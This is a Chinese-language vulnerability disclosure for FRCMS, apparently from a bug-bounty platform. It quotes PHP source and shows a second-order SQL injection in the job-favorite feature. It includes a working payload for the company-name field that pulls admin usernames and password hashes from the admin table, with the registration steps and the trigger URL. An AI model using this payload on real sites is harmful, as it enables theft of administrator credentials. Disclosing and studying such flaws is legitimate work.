### 简要描述:
求20rank
### 详细说明:
看到frcms\member\person_favoriteadd.php
```
defined('IN_FR') or exit('Access Denied');
if($user_type!='pmember'){
echo "<script>alert('您好,您不是个人会员不能操作此功能!');location.href='javascript:history.back()';</script>";
exit;
}
if($Glimit[1]=='-1'){
echo "<script language=javascript>alert('您所在的会员组不能收藏职位,请联系网站客服进行升级!');location.href='javascript:history.back()';</script>";exit();
}
$checks = preg_replace("/[^0-9,\.-]/i",'',$checks);
if($do=='favorite'){
$checksnum=count(explode(',',$checks));
if($Glimit[1]!=0&&$uinfo['limit'][4]<$checksnum){showmsg("您的职位收藏可用数量不足,请返回重新选择!","-1",0,2000);exit();}
$checks=explode(',',$checks);
foreach($checks as $k){
$rs=$db ->get_one("select f_id from {$cfg['tb_pre']}myfavorite where f_pmember='$username' and f_hid=$k limit 0,1");
if(!$rs){
//记录并扣除发送数
$uplimit[4]=$Glimit[1]?-1:0;$uplimit[3]=1;
uplimit($Memberid,$uinfo['limit'],$uplimit);
$rss=$db->get_one("select h_id,h_comname,h_place,h_member from {$cfg['tb_pre']}hire where h_id=$k order by h_adddate desc limit 0,1"); //出库
if($rss){
$hireid=$rss['h_id'];$comname=$rss['h_comname'];$place=$rss['h_place'];$cmember=$rss['h_member'];
$db ->query("INSERT INTO {$cfg['tb_pre']}myfavorite (f_hid,f_comname,f_place,f_adddate,f_pmember,f_cmember) VALUES('$hireid','$comname','$place',NOW(),'$username','$cmember')"); //入库
var_dump($db);
$integral=$Gintegral[0];
require_once(FR_ROOT.'/inc/paylog.inc.php');
$integral&&upintegral($Memberid,"收藏职位【{$place}】获得积分+$integral",$integral);
adddynamic($Memberid,$uinfo['m_name'],1,9,$hireid,$place,6);
}
}
}
showmsg('恭喜您收藏成功!',"?m=person_favorite&show=works",0,2000);exit();
```
通过以上代码可以看到h_comname出库之后,就直接再次入库。中间没有转义,很明显这是一处二次注入。
首先注册一个名为test的个人用户
[<img src="https://images.seebug.org/upload/201503/031715534bfd0f07d7b1cae7a3366540c31488e2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/031715534bfd0f07d7b1cae7a3366540c31488e2.png)
然后在注册一个名为fuck的企业用户,其中公司名称为
```
' or char(@`'`),(select(group_concat(a_user,0x7c,a_pass))from job_admin),'1','test','fuck')#
```
[<img src="https://images.seebug.org/upload/201503/03171627457fce08f669ac1728cdb905ab0627f9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03171627457fce08f669ac1728cdb905ab0627f9.png)
注册成功之后,然后发布随便一个职位
[<img src="https://images.seebug.org/upload/201503/031717548702e1e2e01998b4df74d432571c0484.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/031717548702e1e2e01998b4df74d432571c0484.png)
[<img src="https://images.seebug.org/upload/201503/03171843247233a12c54083cefb764b6a4628d51.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03171843247233a12c54083cefb764b6a4628d51.png)
登陆test这个会员用户收藏这个职位
http://127.0.0.1/frcms/member/index.php?m=person_favoriteadd&do=favorite&checks=1
可以看到mysql日志文件
[<img src="https://images.seebug.org/upload/201503/031719144f88dc2dde0c13c34f7e8f322e568005.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/031719144f88dc2dde0c13c34f7e8f322e568005.png)
然后直接可以看到数据
[<img src="https://images.seebug.org/upload/201503/0317193531af2e9cc7fba9d927bc224a18ad3030.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/0317193531af2e9cc7fba9d927bc224a18ad3030.png)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201503/0317193531af2e9cc7fba9d927bc224a18ad3030.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/0317193531af2e9cc7fba9d927bc224a18ad3030.png)
暂无评论